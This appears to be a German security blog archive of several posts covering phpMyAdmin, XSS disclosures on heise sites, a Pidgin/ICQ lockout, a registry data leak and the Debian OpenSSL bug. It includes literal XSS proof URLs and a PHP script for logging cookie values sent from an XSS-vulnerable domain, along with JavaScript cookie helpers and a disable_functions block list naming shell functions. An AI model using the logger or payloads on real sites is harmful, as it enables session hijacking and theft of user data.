Die Lücke besteht, wie bereits berichtet, in phpMyAdmin Versionen <= 2.11.9.0 und in den Versionen von phpMyAdmin 3. Da diese allerdings noch im RC status sind, sollten diese nirgends in Produktivumgebungen Verwendung finden.

Wo ist also das Problem?

Die Lücke findet sich in der Vorbereitung des Funktionsstrings für create_function, welche eine “on the fly” erzeugte Sortierfunktion bereitstellen soll.
In phpMyAdmin2 betrifft das Problem nur Umgebungen die MySql < 5 einsetzen oder die Option NaturalOrder gesetzt ist
/**
* apply limit and order manually now
* (caused by older MySQL < 5 or $GLOBALS['cfg']['NaturalOrder'])
*/

Wenn MySql5 im Einsatz ist, müsste in `information_schema`.`SCHEMATA`
eine Spalte vorhanden sein, die den gleichen Namen wie der Angriffsvektor hat.
Daher sollte der Angriff in diesem Fall auch fehlschlagen.

phpMyAdmin3

In phpMyAdmin3 wurde in Zeile 433 der database_interface.php, die Stelle an der entschieden wird ob information_schema genutzt wird oder nicht, nur die Option “DisableIS” geprüft. Das Problem an dieser Stelle ist, das die Option standardmäßig auf True gesetzt ist.
if (! $GLOBALS['cfg']['Server']['DisableIS']) {
Was in der Standardkonfiguration zu einem “falsch” ausgewertet wird und dazu führt das weiter unten im Code (Zeile 571) die NaturalOrder genutzt wird.

Man benötigt einen gültigen Account?

Dies ist wohl der interessanteste Teil für die meisten Nutzer. Ja es wird ein Account dafür benötigt oder der valide Sitzungstoken um es mittels CSRF ausnutzen zu können. Daher betrifft dieses Problem eher Shared-Hosting Anbieter und ähnliche und weniger Einzelumgebungen.

Hier und da kamen fragen auf, wenn man denn sowieso Zugang zu phpMyAdmin hat, warum ist das dann noch so schlimm?
Nun, die meisten Anbieter von Shared-Hosting u.ä. nutzen eine Instanz von phpMyAdmin für viele User und diese liegt auf einem extra Host/Virtual Host und die Nutzer dürfen dort i.d.R. keinen PHP-Code o.ä. ausführen.

Wie also schützen?

Wie unter anderem Heise berichtet, soll man die Funktion exec deaktivieren, damit man (sofern dies überhaupt erlaubt war) keine Shellbefehle absetzen kann. Nun, ehrlich gesagt ist das absolut sinnlos, da wären unter anderem noch backticks, shell_exec, system, fopen und php funktionen die nützliche Infos über das System liefern, Dateisystembefehle von php usw.

Ein einfaches print phpinfo() würde auch die phpinfo anzeigen. copy() um Dateien auf die der Webserver Zugriff hat zu kopieren und vieles mehr.

Wenn man disable_functions von php bemüht, sollte dies schon ca so aussehen:
disable_functions = symlink,pfsockopen,proc_open,proc_nice,proc_terminate,
proc_close,proc_get_status,shell_exec,exec,passthru,system,popen,highlight_file,diskfreespace,
disk_free_space,disk_total_space,show_source,php_uname,ini_alter,ini_restore,getrusage,get_current_user,
set_time_limit,getmyuid,getmypid,dl,leak,posix_getpwuid,posix_getgrgid

Zusammenfassend:

• Magic_Quotes muss deaktiviert sein
• < MySql5
• Betrifft eigentlich nur Massenhosting oder ähnliches
• Thanks to Marc Delisle for the nice conversation 

Es befanden sich über 6 XSS Lücken auf der Seite. “Persistent” sowie “Reflected”. Da sieht man wieder das selbst Seiten wie heise nicht vor solchen Fehlern geschützt sind, auch wenn heise.de/Security immer über Fehler dieser Art auf anderen Seiten hinweist (hier sind die negativen Hinweise gemeint ) und manchmal auch gespottet wird

Fatal waren die persistenten Lücken auf der Profilseite bei heisetreff, da es ziemlich einfach ist jemand dazu zu bewegen auf sein Profil zu klicken. Allerdings muss man sagen, wenn man bei seinem Login Sitzung an IP binden auswählt, dann nutzt der Cookie dem Angreifer nichts. Selbst wenn man einen Cookie daraus machen wöllte der nicht an die IP gebunden ist, scheitert dies vorläufig, da die Integrität und Authentizität des Cookies überprüft wird (anhand eines Hashwertes der ebenfalls im Cookie gespeichert ist, allerdings durch einen geheimen Schlüssel beeinflusst wird und daher nicht einfach reproduziert werden kann). Dadurch ist die Sitzungslänge allerdings an die Dauer der IP-Lease-Time gebunden.

Wählt man den normalen Login, kann der Cookie zur Authentifikation genutzt werden. Heise.de und alle ihre Seiten nutzen das gleiche System. (Ich werde demnächst noch eine Möglichkeit vorstellen wie man sich auch davor schützen kann, wobei das nicht wirklich neu ist, aber scheinbar dennoch nicht allgemein bekannt ist)

Nach meiner ersten Mail habe ich 1 Monat gewartet, nachdem keine Reaktion erfolgte habe ich es nochmal unter einer anderen Mailadresse probiert und siehe da, nach wenigen Stunden eine Antwort .

Die Lücken wurden noch am selben! Tag geschlossen, nach einer kleineren Unterhaltung mit dem Entwickler.

Angespornt von dem Fund auf heisetreff habe ich anschließend weiter nach einer Lücke auf www.heise.de gesucht, die sicherlich mehr wert ist als eine auf heisetreff. Und siehe da nach kurzer Zeit wurde ich ebenfalls fündig. Eine “Reflected XSS” Lücke.

Die Lücken sind wie bereits gesagt alle geschlossen . Allerdings habe ich mich dazu entschieden hier einen Artikel darüber zu schreiben, da auf heisec nichts darüber zu lesen war und ganz unter den Tisch kehren wollen wir das dann auch nicht

• http://www.heise.de/preisvergleich/?qlink=<script>alert(/test/)</script>&subi=infos
  
• Lücken auf heisetreff
• http://www.heisetreff.de/?rm=<javascript payload>

Mittels dem Parameter “c” werden dem Script durch : separiert die Werte mittgeteilt die übermittelt werden. Über den optionalen Parameter “l” kann ein Dateiname festgelegt werden. Anschließend müssen natürlich noch die benutzerdefinierten Werte übergeben werden.

Im Script selbst können dann noch die Werte für die Dateierweiterung, den Zugriffsmodus der Datei, den Standard Dateiname, sowie der Separator angepasst werden.

<?php
/*
#########################################################
#
#   Variable script to pass maybe cookie values from an xssed domain
#	or something totally different
#========================================================
#
#    Author:		Wildcat                                   
#
#    Website:		http://www.the-wildcat.de/                            
#
#    email:		wildcat[at]the-wildcat[DoT]de                
#
#========================================================
#
#    Usage:		http://urltoscript/scriptname.php?c=user:password&l=some_special_filename&user=max&password=something_secret  
#    
##########################################################
*/
 
function died() {
	die('go away dude');
}
function c($c) {
	if (preg_match('/[^a-z0-9_-]/i',$c) || strlen($c) > 255) died();
	return true;
}
 
$ext = '.txt';
$lf = 'exploit'.$ext;
$fm = 'a';
$separator = ':';
$p = '';
$maxReq = 35;
$_ = $_REQUEST;
 
if (!isset($_['c']) || count($_) > $maxReq) {
	died();
}else {
	if (isset($_['l']) && c($_['l'])) {
		$lf = $_['l'].$ext;
	}
 
	$params = explode(':',$_['c']);
	array_map('c',$params);
 
	if (($fh = fopen($lf,$fm)) === NULL) {
		died();
	}
 
	foreach ($params as $param) {
		if (!isset($_[$param])) died();
		$p .= sprintf('%s',$_[$param].$separator);
	}
 
	fwrite($fh,sprintf("%s\n",htmlspecialchars( /**/substr($p,0,strlen($p)-strlen($separator))/**/ ), ENT_NOQUOTES,'utf8') );
	fclose($fh);
}
?>

Ein nützliches Javascript Snippet zum auslesen, löschen und erzeugen von Cookies. Sowie eine bessere encode Funktion. Diese ist aus rsnakes XSS Cheatsheet.

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}
function createCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}
function deleteCookie(name) {
	createCookie(name,"",-1);
}
function convertToHex(num) {
	var hex = '';
	for (i=0;i<num.length;i++) {
		if (num.charCodeAt(i).toString(16).toUpperCase().length < 2) {
			hex += "%0" + num.charCodeAt(i).toString(16).toUpperCase();
		} else {
			hex += "%" + num.charCodeAt(i).toString(16).toUpperCase();
		}
	}
	return hex; 
}

your icq client is too old, update it on pidgin.im

Die neueste Version ist allerdings 2.4.2 . Grund dafür ist eine Änderung vom ICQ-Team. Um die Anwender zu dem Upgrade auf ICQ 6.0 zu zwingen, wurden alle Clients die ältere Versionsstrings senden ausgesperrt. Als Error-Code kommt ein “GENERAL_FAILURE” und die Error-URL ist der Downloadlink zur neuesten ICQ-Version.

Komisch ist allerdings das pidgin meint es gäbe eine neue Version von eben pidgin. Es gibt dazu allerdings keinen spezifischen Fehlercode im Oscarprotokoll. Und die Downloadhinweise die gesendet wurden, führten eigentlich auch zu ICQ selbst. Bug? Na wer weiß, pidgin.im war jedenfalls nicht mehr erreichbar. Wurde sozusagen zu einer DDoS Attacke.

Benutzer die pidgin unter Windows nutzen, sind leider etwas im Nachteil, entweder sie warten auf die neue Version, die hoffentlich morgen bereitgestellt wird oder sie nutzen in der Zeit ICQ6.

We are aware of the problems connecting to ICQ with Pidgin 2.4.2 and older. We hope to have a new release and packages out soon to fix this. In the meantime, if you compile Pidgin from source you can use this patch to fix it.

Linux-Nutzer haben es einfacher, ladet euch einfach die aktuellen sourcen und editiert in der Datei

pidgin-2.4.2/libpurple/protocols/oscar/oscar.h
Zeile: 304
0x010a ändern in 0x010b

Oder ihr verwendet den Patch der auf www.pidgin.im angeboten wird.

Auszug geklaut von wired-security.net

Hier der Auszug aus dem Netzwerkdump, welche den Link zur neuen ICQ-Version beinhaltet. ICQ5 bietet dann automatisch das “update” an.

    TLV: Error URL
        Value ID: Error URL (0x0004)
        Length: 46
        Value: http://ftp.icq.com/pub/ICQ6/Install_ICQ6U2.exe

Der ganze Auszug:

Frame 35 (669 bytes on wire, 669 bytes captured)
Ethernet II, Src: ZonetTec_e1:57:32 (00:50:22:e1:57:32), \
Dst: *:*:* (*:*:*:*:*:*)
Internet Protocol, Src: 64.12.161.153 (64.12.161.153), \
Dst: *.*.*.* (*.*.*.*)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
    Total Length: 655
    Identification: 0x8aa2 (35490)
    Flags: 0x04 (Don't Fragment)
    Fragment offset: 0
    Time to live: 105
    Protocol: TCP (0x06)
    Header checksum: 0xb325 [correct]
    Source: 64.12.161.153 (64.12.161.153)
    Destination: *.*.*.* (*.*.*.*)
Transmission Control Protocol, Src Port: aol (5190), \
Dst Port: 11234 (11234), Seq: 11, Ack: 102, Len: 615
    Source port: aol (5190)
    Destination port: 11234 (11234)
    Sequence number: 11    (relative sequence number)
    [Next sequence number: 626    (relative sequence number)]
    Acknowledgement number: 102    (relative ack number)
    Header length: 20 bytes
    Flags: 0x18 (PSH, ACK)
    Window size: 16384
    Checksum: 0x7577 [correct]
        [Good Checksum: True]
        [Bad Checksum: False]
    [SEQ/ACK analysis]
    [PDU Size: 615]
AOL Instant Messenger
    Command Start: 0x2a
    Channel ID: Close Connection (0x04)
    Sequence Number: 26668
    Data Field Length: 609
    TLV: Unknown
        Value ID: Unknown (0x008e)
        Length: 1
        Value
    TLV: Screen name
        Value ID: Screen name (0x0001)
        Length: 9
        Value: 410996901
    TLV: BOS server string
        Value ID: BOS server string (0x0005)
        Length: 17
        Value: 64.12.25.112:5190
    TLV: Authorization cookie
        Value ID: Authorization cookie (0x0006)
        Length: 256
        Value
    TLV: Error Code
        Value ID: Error Code (0x0008)
        Length: 2
        Value: 28
    TLV: Error URL
        Value ID: Error URL (0x0004)
        Length: 46
        Value: http://ftp.icq.com/pub/ICQ6/Install_ICQ6U2.exe
    TLV: Latest Beta Build
        Value ID: Latest Beta Build (0x0040)
        Length: 4
        Value: 11
    TLV: Latest Beta Name
        Value ID: Latest Beta Name (0x0043)
        Length: 9
        Value: 5.33.3000
    TLV: Latest Beta URL
        Value ID: Latest Beta URL (0x0041)
        Length: 46
        Value: http://ftp.icq.com/pub/ICQ6/Install_ICQ6U2.exe
    TLV: Latest Beta Info
        Value ID: Latest Beta Info (0x0042)
        Length: 52
        Value: http://download.icq.com/download/icq6/whats_new.html
    TLV: Latest Release Build
        Value ID: Latest Release Build (0x0044)
        Length: 4
        Value: 11
    TLV: Latest Release Name
        Value ID: Latest Release Name (0x0047)
        Length: 9
        Value: 5.33.3000
    TLV: Latest Release URL
        Value ID: Latest Release URL (0x0045)
        Length: 46
        Value: http://ftp.icq.com/pub/ICQ6/Install_ICQ6U2.exe
    TLV: Latest Release Info
        Value ID: Latest Release Info (0x0046)
        Length: 52
        Value: http://download.icq.com/download/icq6/whats_new.html

Auf einigen Seiten gibt es durchaus Übertreibungen des Ausmaßes dieses Patzers. Fakt ist das ca 15 Anwender dieser Software betroffen waren und nicht alle (über 400 wie teilweise berichtet) die diese einsetzen.

Aber nicht nur das die Meldedaten, Fotos, vorherige Wohnadressen zugänglich waren, die Finanzdaten unter anderem auch.

Allerdings ist es nicht unbedingt ein verschulden des Herstellers, sondern viel mehr ein versagen auf der administrativen Ebene der Kommunen. Wie kann man die Standardpasswörter einer solchen Software, die über das *Internet* zugänglich ist, *nicht* ändern, unverständlich und ein Armutszeugnis zugleich.

Auf Anfrage teilt die Stadt Potsdam heute Mittag mit, sie sei “zum Zeitpunkt des Kaufes …nicht darauf hingewiesen worden, dass Benutzername und Passwort auf der Homepage des Softwareherstellers sichtbar und damit öffentlich zugänglich gemacht werden.”

Allerdings seien diese Gemeinden der Aufforderung nicht nachgekommen, nach der Installation der Software den Benutzernamen und das Passwort für den mit der Software gelieferten Standard-Benutzeraccount (mit Superuser-Rechten) zu ändern. Laut einem Bericht des ARD-Fernsehmagazins “Report München” konnten so Angaben von Bürgern über das Geburtsdatum bis zur Religionszugehörigkeit samt Fotos abgefragt werden. Insbesondere Fotos dürften aber bei einer Standardauskunft gar nicht zugänglich gemacht werden, sagte der Vertreter der brandenburgischen Datenschutzbehörde.

Man kennt es von vielen Anwendern, die die Passwörter ihrer Router o.ä. nicht ändern, was noch verständlich ist. Aber das *kopfschüttel*. Überraschen tut dies sicherlicht nicht. Aber ein Schock ist es dennoch. Bleibt abzuwarten ob und was dort noch passiert. Wäre das nicht öffentlich bekannt gewurden, wäre es sicherlich unter den Tisch gekehrt wurden. *update*

Laut Müller gab es nur zwei Abfragen zu konkreten Personen nach dem 16. Juni, davon eine durch das ARD-Fernsehmagazin “Report München”, das die Sache mit ans Licht brachte. Dabei hätten von den 18 gesetzlich möglichen Suchkriterien aber nur fünf abgerufen werden können: Name, Vorname, Geburtsdatum, Geschlecht und Adresse. Weitergehende Angaben wie Augen- und Haarfarbe, Religionszugehörigkeit oder gar ein Passbild wären unzugänglich gewesen. “Es gab nicht den gläsernen Bürger.”

Wers glaubt . In dem Bericht von ARD war dies nicht der Fall. Dort war inkl Foto und Religionszugehörigkeit alles zugänglich. Also nehme ich mal an das die Fakten dort mal wieder entschärft werden sollen. Von den angeblich nur 2 Anfragen, wovon eine von ARD kam, kann man wohl getrost auch nicht ausgehen und darf damit rechnen das es viel mehr gewesen sind . Aber lügen sind wir ja gewohnt

Der Dienst wurde desweiteren vorübergehend deaktiviert meldebehoerde.de

Nett war auch die Tatsache das bei HSH keiner davon wusste . Der Geschäftsführer hat es erst durch das Interview mit report München erfahren.

Siehe dazu auch:

• Fernsehmagazin: Datenpanne bei Einwohnermeldeämtern
• Nach der Datenpanne beginnt das Aufräumen bei den Meldebehörden
• Der sorglose Umgang mit Daten bei Einwohnermeldeämtern

• Original Link

Woran ich mich auch nur zu gut erinnern konnte waren die diversen Sicherheitslücken die die Plattform beinhaltete.

Selbst ständiges berichten brachte dort nichts mehr, denn es wurde nur das behoben was auch berichtet wurde. Die Betreiber haben meiner Meinung nach keine Ahnung von Sicherheit oder wie man diesen Prozess umsetzt und weiterführt. Selbst die Seite auf die man gelangt wenn man eine Einladung erhält, enthält XSS Lücken. Der Horror schlechthin, schlichtweg ein Sicherheitsalptraum. Auf diversen anderen Seiten die der Anbieter betreibt, sieht es nicht anders aus.

Diverse Meldungen über Lücken in den Anwendungen haben nix gebracht. Die Geschäftsführung ignoriert einen sowieso.

Es findet sich alles. Persistent XSS, Reflective XSS, SQL-Injection … directory traversals hab ich noch nicht ausfindig gemacht, bzw hab ich danach noch nicht gesucht, was nicht heißt das es keine gibt. Sicherlich gibt es noch diverse second order Lücken, aber spekulieren mag ich dann auch nicht.

Entwickelt bitte ein Verständnis für Sicherheit, das Sicherheit ein Prozess ist und kein Zustand und das man so keine Anwendungen designen kann. An einer von drei stellen wird eine bestimmte Usereingabe gefiltert und an den anderen zwei nicht. Warum wird dies nicht zentralisiert gehandhabt, so wie es sich gehört. Dort macht sich bei mir einfach nur Unverständnis breit. Wieso speichert man die Dinge nicht gleich Umgewandelt ab, wenn die Seite in keinster Weise HTML Eingaben benötigt. Unverständlich.

Ganz besonders schlimm, das die Passwörter als MD5-Hash im Cookie gespeichert werden, sowie die User-ID und wie sollte es auch anders sein die Session-ID. Warum MD5 gespeicherte Passwörter eine verdammt schlechte Idee sind und man sie erst recht nicht im Cookie hinterlassen sollte, dürfte jedem mit ein wenig Verständnis im Bereich Sicherheit klar sein. Jeder andere darf gern Google verwenden oder ha.ckers.org besuchen. Es soll nicht heißen das MD5 an sich schlecht ist. Allerdings ist die beschriebene Kombination *sehr schlecht*

Glücklicherweise muss man hier sagen, hat die Plattform wohl nicht den Erfolg gefeiert den man gern gehabt hätte. Hier kann ich wirklich nur sagen, glück gehabt . Vielleicht greift jemand bekannteres das Thema auf oder es findet sich jemand der es ausnutzt und etwas schlimmeres anstellt als PoCs zu veröffentlichen. Nicht das ich hier zu so etwas aufrufen würde .

Was man gleich noch, vielleicht auch mehr als beiläufig, erwähnen sollte, der Internetauftritt von unserem lieben Herrn Schäuble wurde heute gehackt.

Zuerst, diese Lücke betrifft ausschließlich Debian Systeme und Systeme die von Debian abgeleitet sind, wie z.B. (*)buntu, Knoppix und so weiter.

Was ist nun eigentlich passiert? Im Jahr 2006, genauer gesagt am 17.09.2006, wurde eine neue OpenSSL in den unstable Zweig aufgenommen (Version 0.9.8c-1) und wurde von da an in den testing und anschließend in den Stable (Etch) Zweig aufgenommen. Diese Version “beschädigte” den Zufallszahlengenerator von OpenSSL und dieser produzierte nunmehr vorhersagbare Zufallswerte. Eine genauere Ausführung findet ihr bei slashdot.org.

Betroffen sind alle SSH Schlüssel, OpenVPN Schlüssel, DNSSEC Schlüssel und Schlüsselmaterial welches für X.509 Zertifikate, sowie Session keys und SSL/TLS Verbindungen genutzt wurde. Schlüssel die mit GnuPG oder GNUTLS erstellt wurden, sind nicht betroffen.

Wer nicht mehr nachvollziehen kann wann er mit welchem Programm seine Schlüssel erstellt hat muss unbedingt seine Schlüssel austauschen! Dies ist ein schwerwiegendes Problem und betrifft z.B. genauso Banken, wenn ihre Schlüssel mit der entsprechenden OpenSSL Version erstellt wurden.

Ihr solltet euren Serverkey ebenfalls tauschen:

rm /etc/ssh/*key*

dpkg-reconfigure openssh-server

Die Lücke ist in 0.9.8c-4etch3 für Debian Etch geschlossen wurden. In der unstable Version (sid) und in der testing Distribution (lenny) wurden diese Sicherheitslücken in der Version 0.9.8g-9 geschlossen.

Update:

Heise hat einen Artikel erstellt der einen Überblick über die aktuellen Tools, Gefahren und deren Gegenmaßnahmen beschreibt.

Update++:

Heise hat einen weiteren Artikel dazu erstellt, welcher eine schöne Aufklärung über die komplette Tragweite dieses Problems umfasst. Für Administratoren ein absolutes must read.

• Howto SSL Zertifikat erstellen für Confixx
• Apache-SSL-Zertifikat erstellen
• Neues SSH Schlüsselpaar erstellen (Der Public Key muss auf den Server kopiert werden, nicht wie im Artikel beschrieben der Privatekey)

Allerdings benötigt der Angreifer Zugang zu einer Datenbank und Tabelle auf die das Opfer Zugriff hat. Desweiteren benötigt er das CREATE oder ALTER TABLE Recht. Es ist also eher etwas für Benutzer die an die Zugangsdaten ihres Administrators heran kommen wollen.

Das Problem tritt außerdem in der Datenbank Druckansicht und im Strukturverzeichnis auf, sowie im Tabellenname in der Tabellen Druckansicht und im Strukturverzeichnis.

• Original Advisory
• Fixed in Version 2.11.7 (not yet released)
• Changelog

Wo waren noch gleich die Standardkündigungsschreiben, der Formbrief, …. bei der letzten Formatierung wieder verlegt?

Die Vorlagen waren schnell gefunden, nur der Standardkündigungstext nicht. Da man ja bekanntlich sehr faul ist habe ich Mama google bemüht. Und manchmal ist es wirklich einfacher als man denkt www.handy-kuendigung.com

Ein einfaches Formular:

• Daten eintippen (wohlgemerkt empfehle ich hier keine echten Daten anzugeben, wer weiß wofür diese missbraucht werden. Einfach irgendwas ausdenken, lediglich den richtigen Anbieter auswählen)
• Den Haken bei “Ja, ich möchte für meinen neuen Vertrag …” wegnehmen
• Kündigung generieren anklicken
• Kündigungsvordruck anzeigen anklicken
• Es wird Javascript benötigt